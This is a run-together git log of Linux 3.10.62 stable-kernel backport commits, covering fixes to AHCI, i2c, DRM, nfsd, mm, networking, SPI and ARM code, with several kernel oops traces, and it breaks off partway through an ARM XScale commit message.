Vashi commit 0bb156eee62dbc56fcc66bfbd64f57836f9bb740 Author: Tejun Heo Date: Thu Dec 4 13:13:28 2014 -0500 ahci: disable MSI on SAMSUNG 0xa800 SSD commit 2b21ef0aae65f22f5ba86b13c4588f6f0c2dbefb upstream. Just like 0x1600 which got blacklisted by 66a7cbc303f4 ("ahci: disable MSI instead of NCQ on Samsung pci-e SSDs on macbooks"), 0xa800 chokes on NCQ commands if MSI is enabled. Disable MSI. Signed-off-by: Tejun Heo Reported-by: Dominik Mierzejewski Link: https://bugzilla.kernel.org/show_bug.cgi?id=89171 Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b56063200add287f250c7561161fda2aacec2b85 Author: Devin Ryles Date: Fri Nov 7 17:59:05 2014 -0500 AHCI: Add DeviceIDs for Sunrise Point-LP SATA controller commit 249cd0a187ed4ef1d0af7f74362cc2791ec5581b upstream. This patch adds DeviceIDs for Sunrise Point-LP. Signed-off-by: Devin Ryles Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d69fa9bdbb39168cb29f2a72a9e0259a1f365699 Author: Sakari Ailus Date: Thu Nov 6 17:49:45 2014 -0300 media: smiapp: Only some selection targets are settable commit b31eb901c4e5eeef4c83c43dfbc7fe0d4348cb21 upstream. Setting a non-settable selection target caused BUG() to be called. The check for valid selections only takes the selection target into account, but does not tell whether it may be set, or only get. Fix the issue by simply returning an error to the user. Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8195130184f92a6982a8e1df82f062bf52cd3d3 Author: Daniel Vetter Date: Mon Dec 1 17:56:54 2014 +0100 drm/i915: Unlock panel even when LVDS is disabled commit b0616c5306b342ceca07044dbc4f917d95c4f825 upstream. Otherwise we'll have backtraces in assert_panel_unlocked because the BIOS locks the register. In the reporter's case this regression was introduced in commit c31407a3672aaebb4acddf90944a114fa5c8af7b Author: Chris Wilson Date: Thu Oct 18 21:07:01 2012 +0100 drm/i915: Add no-lvds quirk for Supermicro X7SPA-H Reported-by: Alexey Orishko Cc: Alexey Orishko Cc: Chris Wilson Cc: Francois Tigeot Signed-off-by: Daniel Vetter Tested-by: Alexey Orishko Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 754315c520f2410bb82b836531c9555c502f05c7 Author: Petr Mladek Date: Thu Nov 27 16:57:21 2014 +0100 drm/radeon: kernel panic in drm_calc_vbltimestamp_from_scanoutpos with 3.18.0-rc6 commit f5475cc43c899e33098d4db44b7c5e710f16589d upstream. I was unable too boot 3.18.0-rc6 because of the following kernel panic in drm_calc_vbltimestamp_from_scanoutpos(): [drm] Initialized drm 1.1.0 20060810 [drm] radeon kernel modesetting enabled. [drm] initializing kernel modesetting (RV100 0x1002:0x515E 0x15D9:0x8080). [drm] register mmio base: 0xC8400000 [drm] register mmio size: 65536 radeon 0000:0b:01.0: VRAM: 128M 0x00000000D0000000 - 0x00000000D7FFFFFF (16M used) radeon 0000:0b:01.0: GTT: 512M 0x00000000B0000000 - 0x00000000CFFFFFFF [drm] Detected VRAM RAM=128M, BAR=128M [drm] RAM width 16bits DDR [TTM] Zone kernel: Available graphics memory: 3829346 kiB [TTM] Zone dma32: Available graphics memory: 2097152 kiB [TTM] Initializing pool allocator [TTM] Initializing DMA pool allocator [drm] radeon: 16M of VRAM memory ready [drm] radeon: 512M of GTT memory ready. [drm] GART: num cpu pages 131072, num gpu pages 131072 [drm] PCI GART of 512M enabled (table at 0x0000000037880000). radeon 0000:0b:01.0: WB disabled radeon 0000:0b:01.0: fence driver on ring 0 use gpu addr 0x00000000b0000000 and cpu addr 0xffff8800bbbfa000 [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). [drm] Driver supports precise vblank timestamp query. [drm] radeon: irq initialized. [drm] Loading R100 Microcode radeon 0000:0b:01.0: Direct firmware load for radeon/R100_cp.bin failed with error -2 radeon_cp: Failed to load firmware "radeon/R100_cp.bin" [drm:r100_cp_init] *ERROR* Failed to load firmware! radeon 0000:0b:01.0: failed initializing CP (-2). radeon 0000:0b:01.0: Disabling GPU acceleration [drm] radeon: cp finalized BUG: unable to handle kernel NULL pointer dereference at 000000000000025c IP: [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 PGD 0 Oops: 0000 [#1] SMP Modules linked in: CPU: 1 PID: 1 Comm: swapper/0 Not tainted 3.18.0-rc6-4-default #2649 Hardware name: Supermicro X7DB8/X7DB8, BIOS 6.00 07/26/2006 task: ffff880234da2010 ti: ffff880234da4000 task.ti: ffff880234da4000 RIP: 0010:[] [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 RSP: 0000:ffff880234da7918 EFLAGS: 00010086 RAX: ffffffff81557890 RBX: 0000000000000000 RCX: ffff880234da7a48 RDX: ffff880234da79f4 RSI: 0000000000000000 RDI: ffff880232e15000 RBP: ffff880234da79b8 R08: 0000000000000000 R09: 0000000000000000 R10: 000000000000000a R11: 0000000000000001 R12: ffff880232dda1c0 R13: ffff880232e1518c R14: 0000000000000292 R15: ffff880232e15000 FS: 0000000000000000(0000) GS:ffff88023fc40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 000000000000025c CR3: 0000000002014000 CR4: 00000000000007e0 Stack: ffff880234da79d8 0000000000000286 ffff880232dcbc00 0000000000002480 ffff880234da7958 0000000000000296 ffff880234da7998 ffffffff8151b51d ffff880234da7a48 0000000032dcbeb0 ffff880232dcbc00 ffff880232dcbc58 Call Trace: [] ? drm_vma_offset_remove+0x1d/0x110 [] radeon_get_vblank_timestamp_kms+0x38/0x60 [] ? ttm_bo_release_list+0xba/0x180 [] drm_get_last_vbltimestamp+0x41/0x70 [] vblank_disable_and_save+0x73/0x1d0 [] ? try_to_del_timer_sync+0x4f/0x70 [] drm_vblank_cleanup+0x65/0xa0 [] radeon_irq_kms_fini+0x1a/0x70 [] r100_init+0x26e/0x410 [] radeon_device_init+0x7ae/0xb50 [] radeon_driver_load_kms+0x8f/0x210 [] drm_dev_register+0xb5/0x110 [] drm_get_pci_dev+0x8f/0x200 [] radeon_pci_probe+0xad/0xe0 [] local_pci_probe+0x45/0xa0 [] pci_device_probe+0xd1/0x130 [] driver_probe_device+0x12d/0x3e0 [] __driver_attach+0x9b/0xa0 [] ? __device_attach+0x40/0x40 [] bus_for_each_dev+0x63/0xa0 [] driver_attach+0x1e/0x20 [] bus_add_driver+0x180/0x240 [] driver_register+0x64/0xf0 [] __pci_register_driver+0x4c/0x50 [] drm_pci_init+0xf5/0x120 [] ? ttm_init+0x6a/0x6a [] radeon_init+0x97/0xb5 [] do_one_initcall+0xbc/0x1f0 [] ? __wake_up+0x48/0x60 [] kernel_init_freeable+0x18a/0x215 [] ? initcall_blacklist+0xc0/0xc0 [] ? rest_init+0x80/0x80 [] kernel_init+0xe/0xf0 [] ret_from_fork+0x7c/0xb0 [] ? rest_init+0x80/0x80 Code: 45 ac 0f 88 a8 01 00 00 3b b7 d0 01 00 00 49 89 ff 0f 83 99 01 00 00 48 8b 47 20 48 8b 80 88 00 00 00 48 85 c0 0f 84 cd 01 00 00 <41> 8b b1 5c 02 00 00 41 8b 89 58 02 00 00 89 75 98 41 8b b1 60 RIP [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 RSP CR2: 000000000000025c ---[ end trace ad2c0aadf48e2032 ]--- Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000009 It has helped me to add a NULL pointer check that was suggested at http://lists.freedesktop.org/archives/dri-devel/2014-October/070663.html I am not familiar with the code. But the change looks sane and we need something fast at this stage of 3.18 development. Suggested-by: Helge Deller Signed-off-by: Petr Mladek Tested-by: Petr Mladek Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c88307c6299429657bdf70bcc14fd341ed80703 Author: Grygorii Strashko Date: Mon Dec 1 17:34:04 2014 +0200 i2c: davinci: generate STP always when NACK is received commit 9ea359f7314132cbcb5a502d2d8ef095be1f45e4 upstream. According to I2C specification the NACK should be handled as follows: "When SDA remains HIGH during this ninth clock pulse, this is defined as the Not Acknowledge signal. The master can then generate either a STOP condition to abort the transfer, or a repeated START condition to start a new transfer." [I2C spec Rev. 6, 3.1.6: http://www.nxp.com/documents/user_manual/UM10204.pdf] Currently the Davinci i2c driver interrupts the transfer on receipt of a NACK but fails to send a STOP in some situations and so makes the bus stuck until next I2C IP reset (idle/enable). For example, the issue will happen during SMBus read transfer which consists from two i2c messages write command/address and read data: S Slave Address Wr A Command Code A Sr Slave Address Rd A D1..Dn A P <--- write -----------------------> <--- read ---------------------> The I2C client device will send NACK if it can't recognize "Command Code" and it's expected from I2C master to generate STP in this case. But now, Davinci i2C driver will just exit with -EREMOTEIO and STP will not be generated. Hence, fix it by generating Stop condition (STP) always when NACK is received. This patch fixes Davinci I2C in the same way it was done for OMAP I2C commit cda2109a26eb ("i2c: omap: query STP always when NACK is received"). Reviewed-by: Uwe Kleine-König Reported-by: Hein Tibosch Signed-off-by: Grygorii Strashko Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 507618290e7a1590a2f0669afdcb2beede03a43a Author: Alexander Kochetkov Date: Fri Nov 21 04:16:51 2014 +0400 i2c: omap: fix i207 errata handling commit ccfc866356674cb3a61829d239c685af6e85f197 upstream. commit 6d9939f651419a63e091105663821f9c7d3fec37 (i2c: omap: split out [XR]DR and [XR]RDY) changed the way how errata i207 (I2C: RDR Flag May Be Incorrectly Set) get handled. 6d9939f6514 code doesn't correspond to workaround provided by errata. According to errata ISR must filter out spurious RDR before data read not after. ISR must read RXSTAT to get number of bytes available to read. Because RDR could be set while there could no data in the receive FIFO. Restored pre 6d9939f6514 way of handling errata. Found by code review. Real impact haven't seen. Tested on Beagleboard XM C. Signed-off-by: Alexander Kochetkov Fixes: 6d9939f651419a63e09110 i2c: omap: split out [XR]DR and [XR]RDY Tested-by: Felipe Balbi Reviewed-by: Felipe Balbi Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21fe672e1a946c1fc53489219389d15ad0a46f7b Author: Alexander Kochetkov Date: Tue Nov 18 21:00:58 2014 +0400 i2c: omap: fix NACK and Arbitration Lost irq handling commit 27caca9d2e01c92b26d0690f065aad093fea01c7 upstream. commit 1d7afc95946487945cc7f5019b41255b72224b70 (i2c: omap: ack IRQ in parts) changed the interrupt handler to complete transfers without clearing XRDY (AL case) and ARDY (NACK case) flags. XRDY or ARDY interrupts will be fired again. As a result, ISR keep processing transfer after it was already complete (from the driver code point of view). A didn't see real impacts of the 1d7afc9, but it is really bad idea to have ISR running on user data after transfer was complete. It looks, what 1d7afc9 violate TI specs in what how AL and NACK should be handled (see Note 1, sprugn4r, Figure 17-31 and Figure 17-32). According to specs (if I understood correctly), in case of NACK and AL driver must reset NACK, AL, ARDY, RDR, and RRDY (Master Receive Mode), and NACK, AL, ARDY, and XDR (Master Transmitter Mode). All that is done down the code under the if condition: if (stat & (OMAP_I2C_STAT_ARDY | OMAP_I2C_STAT_NACK | OMAP_I2C_STAT_AL)) ... The patch restore pre 1d7afc9 logic of handling NACK and AL interrupts, so no interrupts is fired after ISR informs the rest of driver what transfer complete. Note: instead of removing break under NACK case, we could just replace 'break' with 'continue' and allow NACK transfer to finish using ARDY event. I found that NACK and ARDY bits usually set together. That case confirm TI wiki: http://processors.wiki.ti.com/index.php/I2C_Tips#Detecting_and_handling_NACK In order if someone interested in the event traces for NACK and AL cases, I sent them to mailing list. Tested on Beagleboard XM C. Signed-off-by: Alexander Kochetkov Fixes: 1d7afc9 i2c: omap: ack IRQ in parts Acked-by: Felipe Balbi Tested-by: Aaro Koskinen Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c1226b48ad019d32bebe72ee49c7d446007f739 Author: Seth Forshee Date: Tue Nov 25 20:28:24 2014 -0600 xen-netfront: Remove BUGs on paged skb data which crosses a page boundary commit 8d609725d4357f499e2103e46011308b32f53513 upstream. These BUGs can be erroneously triggered by frags which refer to tail pages within a compound page. The data in these pages may overrun the hardware page while still being contained within the compound page, but since compound_order() evaluates to 0 for tail pages the assertion fails. The code already iterates through subsequent pages correctly in this scenario, so the BUGs are unnecessary and can be removed. Fixes: f36c374782e4 ("xen/netfront: handle compound page fragments on transmit") Signed-off-by: Seth Forshee Reviewed-by: David Vrabel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c95cb05ec87e7b2778512d2febfe0a84be9fecfc Author: Hugh Dickins Date: Tue Dec 2 15:59:39 2014 -0800 mm: fix swapoff hang after page migration and fork commit 2022b4d18a491a578218ce7a4eca8666db895a73 upstream. I've been seeing swapoff hangs in recent testing: it's cycling around trying unsuccessfully to find an mm for some remaining pages of swap. I have been exercising swap and page migration more heavily recently, and now notice a long-standing error in copy_one_pte(): it's trying to add dst_mm to swapoff's mmlist when it finds a swap entry, but is doing so even when it's a migration entry or an hwpoison entry. Which wouldn't matter much, except it adds dst_mm next to src_mm, assuming src_mm is already on the mmlist: which may not be so. Then if pages are later swapped out from dst_mm, swapoff won't be able to find where to replace them. There's already a !non_swap_entry() test for stats: move that up before the swap_duplicate() and the addition to mmlist. Signed-off-by: Hugh Dickins Cc: Kelley Nielsen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8b52eb012c3bf42b737700086f4b7cc00c08961 Author: Weijie Yang Date: Tue Dec 2 15:59:25 2014 -0800 mm: frontswap: invalidate expired data on a dup-store failure commit fb993fa1a2f669215fa03a09eed7848f2663e336 upstream. If a frontswap dup-store failed, it should invalidate the expired page in the backend, or it could trigger some data corruption issue. Such as: 1. use zswap as the frontswap backend with writeback feature 2. store a swap page(version_1) to entry A, success 3. dup-store a newer page(version_2) to the same entry A, fail 4. use __swap_writepage() write version_2 page to swapfile, success 5. zswap do shrink, writeback version_1 page to swapfile 6. version_2 page is overwrited by version_1, data corrupt. This patch fixes this issue by invalidating expired data immediately when meet a dup-store failure. Signed-off-by: Weijie Yang Cc: Konrad Rzeszutek Wilk Cc: Seth Jennings Cc: Dan Streetman Cc: Minchan Kim Cc: Bob Liu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11c7f2a90223a85f7a1f95e7022c8765e1924387 Author: Greg Kroah-Hartman Date: Sat Dec 6 15:55:43 2014 -0800 Linux 3.10.62 Signed-off-by: Pranav Vashi commit 19620c26a2909077073ea40a87457955801488e9 Author: Sergio Gelato Date: Wed Sep 24 08:47:24 2014 +0200 nfsd: Fix ACL null pointer deref BugLink: http://bugs.launchpad.net/bugs/1348670 Fix regression introduced in pre-3.14 kernels by cherry-picking aa07c713ecfc0522916f3cd57ac628ea6127c0ec (NFSD: Call ->set_acl with a NULL ACL structure if no entries). The affected code was removed in 3.14 by commit 4ac7249ea5a0ceef9f8269f63f33cc873c3fac61 (nfsd: use get_acl and ->set_acl). The ->set_acl methods are already able to cope with a NULL argument. Signed-off-by: Sergio Gelato [bwh: Rewrite the subject] Signed-off-by: Ben Hutchings Cc: Moritz Mühlenhoff Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83104ac9445a1ee575db0ddd24eb7c78f5dc310c Author: Benjamin Herrenschmidt Date: Tue Oct 7 16:12:36 2014 +1100 powerpc/powernv: Honor the generic "no_64bit_msi" flag commit 360743814c4082515581aa23ab1d8e699e1fbe88 upstream. Instead of the arch specific quirk which we are deprecating and that drivers don't understand. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a3cab0203ed9fb83a95029726fdfa09ac081936 Author: Maurizio Lombardi Date: Thu Nov 20 11:17:33 2014 +0100 bnx2fc: do not add shared skbs to the fcoe_rx_list commit 01a4cc4d0cd6a836c7b923760e8eb1cbb6a47258 upstream. In some cases, the fcoe_rx_list may contains multiple instances of the same skb (the so called "shared skbs"). the bnx2fc_l2_rcv thread is a loop that extracts a skb from the list, modifies (and destroys) its content and then proceed to the next one. The problem is that if the skb is shared, the remaining instances will be corrupted. The solution is to use skb_share_check() before adding the skb to the fcoe_rx_list. [ 6286.808725] ------------[ cut here ]------------ [ 6286.808729] WARNING: at include/scsi/fc_frame.h:173 bnx2fc_l2_rcv_thread+0x425/0x450 [bnx2fc]() [ 6286.808748] Modules linked in: bnx2x(-) mdio dm_service_time bnx2fc cnic uio fcoe libfcoe 8021q garp stp mrp libfc llc scsi_transport_fc scsi_tgt sg iTCO_wdt iTCO_vendor_support coretemp kvm_intel kvm crct10dif_pclmul crc32_pclmul crc32c_intel e1000e ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper ptp cryptd hpilo serio_raw hpwdt lpc_ich pps_core ipmi_si pcspkr mfd_core ipmi_msghandler shpchp pcc_cpufreq mperf nfsd auth_rpcgss nfs_acl lockd sunrpc dm_multipath xfs libcrc32c ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common mgag200 syscopyarea sysfillrect sysimgblt i2c_algo_bit ata_piix drm_kms_helper ttm drm libata i2c_core hpsa dm_mirror dm_region_hash dm_log dm_mod [last unloaded: mdio] [ 6286.808750] CPU: 3 PID: 1304 Comm: bnx2fc_l2_threa Not tainted 3.10.0-121.el7.x86_64 #1 [ 6286.808750] Hardware name: HP ProLiant DL120 G7, BIOS J01 07/01/2013 [ 6286.808752] 0000000000000000 000000000b36e715 ffff8800deba1e00 ffffffff815ec0ba [ 6286.808753] ffff8800deba1e38 ffffffff8105dee1 ffffffffa05618c0 ffff8801e4c81888 [ 6286.808754] ffffe8ffff663868 ffff8801f402b180 ffff8801f56bc000 ffff8800deba1e48 [ 6286.808754] Call Trace: [ 6286.808759] [] dump_stack+0x19/0x1b [ 6286.808762] [] warn_slowpath_common+0x61/0x80 [ 6286.808763] [] warn_slowpath_null+0x1a/0x20 [ 6286.808765] [] bnx2fc_l2_rcv_thread+0x425/0x450 [bnx2fc] [ 6286.808767] [] ? bnx2fc_disable+0x90/0x90 [bnx2fc] [ 6286.808769] [] kthread+0xcf/0xe0 [ 6286.808770] [] ? kthread_create_on_node+0x140/0x140 [ 6286.808772] [] ret_from_fork+0x7c/0xb0 [ 6286.808773] [] ? kthread_create_on_node+0x140/0x140 [ 6286.808774] ---[ end trace c6cdb939184ccb4e ]--- Signed-off-by: Maurizio Lombardi Acked-by: Chad Dupuis Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4258dcf2a37f468db3b361965d807d4190587819 Author: J. Bruce Fields Date: Thu Aug 15 16:55:26 2013 -0400 nfsd4: fix leak of inode reference on delegation failure commit bf7bd3e98be5c74813bee6ad496139fb0a011b3b upstream. This fixes a regression from 68a3396178e6688ad7367202cdf0af8ed03c8727 "nfsd4: shut down more of delegation earlier". After that commit, nfs4_set_delegation() failures result in nfs4_put_delegation being called, but nfs4_put_delegation doesn't free the nfs4_file that has already been set by alloc_init_deleg(). This can result in an oops on later unmounting the exported filesystem. Note also delaying the fi_had_conflict check we're able to return a better error (hence give 4.1 clients a better idea why the delegation failed; though note CONFLICT isn't an exact match here, as that's supposed to indicate a current conflict, but all we know here is that there was one recently). Reported-by: Toralf Förster Tested-by: Toralf Förster Signed-off-by: J. Bruce Fields [tuomasjjrasanen: backported to 3.10 Conflicts fs/nfsd/nfs4state.c: Delegation type flags have been removed from upstream code. In 3.10-series, they still exists and therefore the commit caused few conflicts in function signatures. ] Signed-off-by: Tuomas Räsänen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7147b6dae63635e01d0057330ebea79ae3f04e40 Author: Trond Myklebust Date: Wed Nov 19 12:47:50 2014 -0500 nfsd: Fix slot wake up race in the nfsv4.1 callback code commit c6c15e1ed303ffc47e696ea1c9a9df1761c1f603 upstream. The currect code for nfsd41_cb_get_slot() and nfsd4_cb_done() has no locking in order to guarantee atomicity, and so allows for races of the form. Task 1 Task 2 ====== ====== if (test_and_set_bit(0) != 0) { clear_bit(0) rpc_wake_up_next(queue) rpc_sleep_on(queue) return false; } This patch breaks the race condition by adding a retest of the bit after the call to rpc_sleep_on(). Signed-off-by: Trond Myklebust Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ebb1933a31508e4e340ff78d0365f568cd627f2 Author: Stanislaw Gruszka Date: Tue Nov 11 14:28:47 2014 +0100 rt2x00: do not align payload on modern H/W commit cfd9167af14eb4ec21517a32911d460083ee3d59 upstream. RT2800 and newer hardware require padding between header and payload if header length is not multiple of 4. For historical reasons we also align payload to to 4 bytes boundary, but such alignment is not needed on modern H/W. Patch fixes skb_under_panic problems reported from time to time: https://bugzilla.kernel.org/show_bug.cgi?id=84911 https://bugzilla.kernel.org/show_bug.cgi?id=72471 http://marc.info/?l=linux-wireless&m=139108549530402&w=2 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1087591 Panic happened because we eat 4 bytes of skb headroom on each (re)transmission when sending frame without the payload and the header length not being multiple of 4 (i.e. QoS header has 26 bytes). On such case because paylad_aling=2 is bigger than header_align=0 we increase header_align by 4 bytes. To prevent that we could change the check to: if (payload_length && payload_align > header_align) header_align += 4; but not aligning payload at all is more effective and alignment is not really needed by H/W (that has been tested on OpenWrt project for few years now). Reported-and-tested-by: Antti S. Lankila Debugged-by: Antti S. Lankila Reported-by: Henrik Asp Originally-From: Helmut Schaa Signed-off-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5426457e72f00f9447fb5289faa68f2fa33f3dd Author: Thomas Körper Date: Fri Oct 31 07:33:54 2014 +0100 can: dev: avoid calling kfree_skb() from interrupt context commit 5247a589c24022ab34e780039cc8000c48f2035e upstream. ikfree_skb() is Called in can_free_echo_skb(), which might be called from (TX Error) interrupt, which triggers the folloing warning: [ 1153.360705] ------------[ cut here ]------------ [ 1153.360715] WARNING: CPU: 0 PID: 31 at net/core/skbuff.c:563 skb_release_head_state+0xb9/0xd0() [ 1153.360772] Call Trace: [ 1153.360778] [] dump_stack+0x41/0x52 [ 1153.360782] [] warn_slowpath_common+0x7e/0xa0 [ 1153.360784] [] ? skb_release_head_state+0xb9/0xd0 [ 1153.360786] [] ? skb_release_head_state+0xb9/0xd0 [ 1153.360788] [] warn_slowpath_null+0x22/0x30 [ 1153.360791] [] skb_release_head_state+0xb9/0xd0 [ 1153.360793] [] skb_release_all+0x10/0x30 [ 1153.360795] [] kfree_skb+0x36/0x80 [ 1153.360799] [] ? can_free_echo_skb+0x28/0x40 [can_dev] [ 1153.360802] [] can_free_echo_skb+0x28/0x40 [can_dev] [ 1153.360805] [] esd_pci402_interrupt+0x34c/0x57a [esd402] [ 1153.360809] [] handle_irq_event_percpu+0x35/0x180 [ 1153.360811] [] ? handle_irq_event_percpu+0xa3/0x180 [ 1153.360813] [] handle_irq_event+0x31/0x50 [ 1153.360816] [] handle_fasteoi_irq+0x6f/0x120 [ 1153.360818] [] ? handle_edge_irq+0x110/0x110 [ 1153.360822] [] handle_irq+0x71/0x90 [ 1153.360823] [] do_IRQ+0x3c/0xd0 [ 1153.360829] [] common_interrupt+0x2c/0x34 [ 1153.360834] [] ? finish_task_switch+0x47/0xf0 [ 1153.360836] [] __schedule+0x35b/0x7e0 [ 1153.360839] [] ? console_unlock+0x2c4/0x4d0 [ 1153.360842] [] ? n_tty_receive_buf_common+0x890/0x890 [ 1153.360845] [] ? process_one_work+0x196/0x370 [ 1153.360847] [] schedule+0x23/0x60 [ 1153.360849] [] worker_thread+0x161/0x460 [ 1153.360852] [] ? __wake_up_locked+0x1f/0x30 [ 1153.360854] [] ? rescuer_thread+0x2f0/0x2f0 [ 1153.360856] [] kthread+0xa1/0xc0 [ 1153.360859] [] ret_from_kernel_thread+0x21/0x30 [ 1153.360861] [] ? kthread_create_on_node+0x110/0x110 [ 1153.360863] ---[ end trace 5ff83639cbb74b35 ]--- This patch replaces the kfree_skb() by dev_kfree_skb_any(). Signed-off-by: Thomas Körper Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8facb82f06096131df37fa21d60be406220d69dd Author: Thor Thayer Date: Thu Nov 6 13:54:27 2014 -0600 spi: dw: Fix dynamic speed change. commit 0a8727e69778683495058852f783eeda141a754e upstream. An IOCTL call that calls spi_setup() and then dw_spi_setup() will overwrite the persisted last transfer speed. On each transfer, the SPI speed is compared to the last transfer speed to determine if the clock divider registers need to be updated (did the speed change?). This bug was observed with the spidev driver using spi-config to update the max transfer speed. This fix: Don't overwrite the persisted last transaction clock speed when updating the SPI parameters in dw_spi_setup(). On the next transaction, the new speed won't match the persisted last speed and the hardware registers will be updated. On initialization, the persisted last transaction clock speed will be 0 but will be updated after the first SPI transaction. Move zeroed clock divider check into clock change test because chip->clk_div is zero on startup and would cause a divide-by-zero error. The calculation was wrong as well (can't support odd #). Reported-by: Vlastimil Setka Signed-off-by: Vlastimil Setka Signed-off-by: Thor Thayer Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 048ea96d7812d5d3cc2a424b8f1ccf5276c5e99b Author: Sagi Grimberg Date: Tue Oct 28 13:45:03 2014 -0700 iser-target: Handle DEVICE_REMOVAL event on network portal listener correctly commit 3b726ae2de02a406cc91903f80132daee37b6f1b upstream. In this case the cm_id->context is the isert_np, and the cm_id->qp is NULL, so use that to distinct the cases. Since we don't expect any other events on this cm_id we can just return -1 for explicit termination of the cm_id by the cma layer. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36490d35cfc902ca40d4e01e0953c33ae99937ea Author: Roland Dreier Date: Tue Oct 14 14:16:24 2014 -0700 target: Don't call TFO->write_pending if data_length == 0 commit 885e7b0e181c14e4d0ddd26c688bad2b84c1ada9 upstream. If an initiator sends a zero-length command (e.g. TEST UNIT READY) but sets the transfer direction in the transport layer to indicate a data-out phase, we still shouldn't try to transfer data. At best it's a NOP, and depending on the transport, we might crash on an uninitialized sg list. Reported-by: Craig Watson Signed-off-by: Roland Dreier Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb5068eac1ec87ca05f256f16025b2c3912bec7d Author: Bart Van Assche Date: Sun Oct 19 18:05:33 2014 +0300 srp-target: Retry when QP creation fails with ENOMEM commit ab477c1ff5e0a744c072404bf7db51bfe1f05b6e upstream. It is not guaranteed to that srp_sq_size is supported by the HCA. So if we failed to create the QP with ENOMEM, try with a smaller srp_sq_size. Keep it up until we hit MIN_SRPT_SQ_SIZE, then fail the connection. Reported-by: Mark Lehrer Signed-off-by: Bart Van Assche Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d460a2519342b34ece215ac8c1ab84fcc00d5bd1 Author: Greg Kroah-Hartman Date: Tue Nov 25 00:38:17 2014 -0800 Input: xpad - use proper endpoint type commit a1f9a4072655843fc03186acbad65990cc05dd2d upstream. The xpad wireless endpoint is not a bulk endpoint on my devices, but rather an interrupt one, so the USB core complains when it is submitted. I'm guessing that the author really did mean that this should be an interrupt urb, but as there are a zillion different xpad devices out there, let's cover out bases and handle both bulk and interrupt endpoints just as easily. Signed-off-by: "Pierre-Loup A. Griffais" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35064c2840d7b1ec1fded5e5caf3b02975b3a0b3 Author: Thomas Petazzoni Date: Tue Nov 25 18:43:15 2014 +0100 ARM: 8222/1: mvebu: enable strex backoff delay commit 995ab5189d1d7264e79e665dfa032a19b3ac646e upstream. Under extremely rare conditions, in an MPCore node consisting of at least 3 CPUs, two CPUs trying to perform a STREX to data on the same shared cache line can enter a livelock situation. This patch enables the HW mechanism that overcomes the bug. This fixes the incorrect setup of the STREX backoff delay bit due to a wrong description in the specification. Note that enabling the STREX backoff delay mechanism is done by leaving the bit *cleared*, while the bit was currently being set by the proc-v7.S code. [Thomas: adapt to latest mainline, slightly reword the commit log, add stable markers.] Fixes: de4901933f6d ("arm: mm: Add support for PJ4B cpu and init routines") Signed-off-by: Nadav Haklai Signed-off-by: Thomas Petazzoni Acked-by: Gregory CLEMENT Acked-by: Jason Cooper Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7931260aba3eab2fab03a050e38ebe3ca3cbde53 Author: Dmitry Eremin-Solenikov Date: Fri Nov 21 15:29:00 2014 +0100 ARM: 8216/1: xscale: correct auxiliary register in suspend/resume commit ef59a20ba375aeb97b3150a118318884743452a8 upstream. According to the manuals I have, XScale auxiliary register should be reached with opc_2 = 1 instead of crn = 1. cpu_xscale_proc_init correctly uses c1, c0, 1 arguments, but cpu_xscale_do_suspend and cpu_xscale_do_resume use c1, c1, 0. Correct suspend/resume functions to also use c1, c0, 1. The issue was primarily noticed thanks to qemu reporing "unsupported instruction" on the pxa suspend path. Confirmed in PXA210/250 and PXA255 XScale Core manuals and in PXA270 and PXA320 Developers Guides. Harware tested by me on tosa (pxa255). Robert confirmed on pxa270 board. 